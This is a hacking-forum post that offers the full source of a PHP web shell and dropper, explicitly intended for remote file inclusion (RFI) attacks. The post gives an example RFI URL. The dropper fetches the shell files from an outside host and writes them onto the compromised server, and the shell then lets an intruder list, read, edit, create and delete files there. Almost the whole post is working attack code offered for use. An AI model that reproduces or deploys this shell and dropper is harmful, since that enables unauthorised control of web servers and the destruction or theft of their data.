[HC Official] PHP Shell - Printable Version

Screenshots:
http://s7.postimg.org/lvfcx42mz/shell.png
http://s21.postimg.org/48r7ugkbr/example1.png
http://s8.postimg.org/enpgblm5x/example2.png

Hack Community PHP Shell

This is a PHP Shell for RFI attacks or for own personal use. [e.g. web.com?page=http://static_cast.home.comcast.net/~static_cast/shell/dropper.txt]
Here is the source code:

Version 1.1

dropper.txt !!IMPORTANT. Sample upload: http://static_cast.home.comcast.net/~static_cast/shell/dropper.txt

Code:
<?php
//You can change these to your upload location...
$shellg = file_get_contents('http://static_cast.home.comcast.net/shell/hc_shell.txt');
$funcsg = file_get_contents('http://static_cast.home.comcast.net/shell/functions.txt');
$hcimgg = file_get_contents('http://static_cast.home.comcast.net/shell/hc_logo.txt');
$styleg = file_get_contents('http://static_cast.home.comcast.net/shell/style.txt');

mkdir("/shell/", 0700);
$shellp = 'shell/hc_shell.php';
$funcsp = 'shell/functions.php';
$hcimgp = 'shell/hc_logo.png';
$stylep = 'shell/style.css';

file_put_contents($shellp, $shellg);
file_put_contents($funcsp, $funcsg);
file_put_contents($hcimgp, $hcimgg);
file_put_contents($stylep, $styleg);
?>

hc_shell.php

Code:
<?php
include("functions.php");

//EDIT BELOW!!
$shell_file = "hc_shell.php";
$style_file = "style.css";
$logo_file  = "hc_logo.png";
//EDIT ABOVE!!

$choice = $_GET['choice'];

if($choice == "ls" || $choice == "read" || $choice == "save" || $choice == "rmdir" || $choice == "rm" || $choice == "create")
 {
 $dir = $_GET['dir'];
 $file = $_GET['file'];

 if(!$dir)
  $dir = '.';
 }

if(isset($_POST['save']))
 {
 $contents = $_POST['contents'];
 $delete = $_POST['delete'];
 save($file, $contents, $delete);
 }

if($choice == "create")
 {
 if(isset($_GET['is_directory']))
  create($file, true);
 else
  create($file, false);
 }

if($choice == "rmdir")
 rmdirectory($dir);
else if($choice == "rm")
 rm($file);
?>

<html>
 <head>
  <title>PHP Shell</title>
  <link rel="stylesheet" type="text/css" href="<?php echo $style_file; ?>" />
 </head>
 <body>
  <div style="background-color: black; text-align: center">
   <img src="<?php echo $logo_file; ?>" alt="PHP Shell" />
  </div>

  <form id="contents" action="#" method="POST">

   <textarea name="contents" id="contentsText"><?php
if($choice == "read" || $choice == "save" || $choice == "create")
 read($file);
if($choice == "save")
 save($file);
?></textarea>

   <div style="background-color: black; position: relative; width: 100%; z-index: 0; margin-top: -23px; float: left;">&nbsp;</div>
   <span style="position: relative; z-index: 1; margin-top: -23px; float: left"><input type="checkbox" name="delete" />Delete this file</span>
   <input type="submit" name="save" value="save" style="position: relative; z-index: 1; margin-top: -25px; float: right" />
  </form>

  <div id="browser">
   <div style="margin: 3px;">
    <form action="<?php echo $shell_file; ?>" method="GET">
     Starting Directory:<br />
     <input type="hidden" name="choice" value="ls" />
     <input name="dir" value="." />
     <input type="submit" value="Display" />
    </form>

    <form action="<?php echo $shell_file; ?>" method="GET">
     Create File:<br />
     <input type="hidden" name="choice" value="create" />
     <input type="hidden" name="dir" value="<?php echo $dir; ?>" />
     <input name="file" value="file.txt" />
     <input type="submit" value="Create" /><br />
     <input type="checkbox" name="is_directory" />Directory
    </form>
    <hr />

    <?php
    if($choice == "ls" || $choice == "read" || $choice == "save" || $choice == "rmdir" || $choice == "rm" || $choice == "create")
     ls($dir);
    ?>

   </div>
  </div>

 </body>
</html>

functions.php

Code:
<?php
//EDIT BELOW!!
$shell_file = "hc_shell.php";
$style_file = "style.css";
//EDIT ABOVE!!

function ls($directory)
 {
 if(!$directory)
  $directory = '.';

 if($handle = opendir($directory))
  {
  while(false !== ($entry = readdir($handle)))
   {
   if($entry != $shell_file && $entry != $style_file)
    {
    if(is_dir($directory . '/' . $entry))
     {
     if($entry == "." || $entry == "..")
      echo "[Delete] <a href='$shell_file?choice=ls&dir=$directory/$entry'>$entry</a><br />";
     else
      echo "[<a href='$shell_file?choice=rmdir&dir=$directory'>Delete</a>] <a href='$shell_file?choice=ls&dir=$directory/$entry'>$entry</a><br />";
     }
    else
     echo "[<a href='$shell_file?choice=rm&file=$directory/$entry'>Delete</a>] <a href='$shell_file?choice=read&dir=$directory&file=$directory/$entry'>$entry</a><br />";
    }
   }
  closedir($handle);
  }
 }

function read($file)
 {
 $contents = file_get_contents($file);

 $contents = str_replace("</textarea>", "<./textarea>", $contents);
 $contents = str_replace("<textarea>", "<.textarea>", $contents);

 echo $contents . "\n";
 }

function save($file, $contents, $delete)
 {
 if(isset($delete))
  rm($file);
 else
  {
  if(file_put_contents($file, $contents))
   showMessage("Write success.");
  else
   showMessage("Write fail.");
  }
 }

function rmdirectory($dir)
 {
 $files = glob($dir . '*', GLOB_MARK);

 foreach($files as $file)
  {
  if(substr($file, -1) == '/')
   delTree($file);
  else
   unlink($file);
  }

 if(rmdir($dir))
  showMessage("Delete success.");
 else
  showMessage("Delete fail.");
 }

function rm($file)
 {
 if(unlink($file))
  showMessage("Delete success.");
 else
  showMessage("Delete fail.");
 }

function create($file, $isdir)
 {
 if($isdir)
  {
  if(mkdir($file))
   showMessage("Create success.");
  else
   showMessage("Create fail.");
  }
 else
  {
  $filestream = fopen($file, 'w');

  if($filestream)
   showMessage("Create success.");
  else
   showMessage("Create fail.");

  fclose($filestream);
  }
 }

function showMessage($message)
 {
 echo "<script>alert('" . $message . "');</script>";
 }
?>

style.css

Code:
body
 {
 background-image: url('http://i.imgur.com/l9LtNzl.png');
 color: white;
 }

#contents
 {
 background-color: #333;
 color: white;
 width: 60%;
 height: 85%;
 float: left;
 }

#contentsText
 {
 background-color: #333;
 color: white;
 width: 100%;
 height: 100%;
 float: left;
 }

#browser
 {
 background-color: #333;
 color: white; width: 40%;
 height: 85%;
 overflow: scroll;
 float: left;
 }



a:link {color:#F00;}
a:visited {color:#FF0;}
a:hover {color:#FFF;}
a:active {color:#F80;}

[Reserved Post]
Version number: 1.1

I will later re-write to 2.0 where all the code is in one file. Wink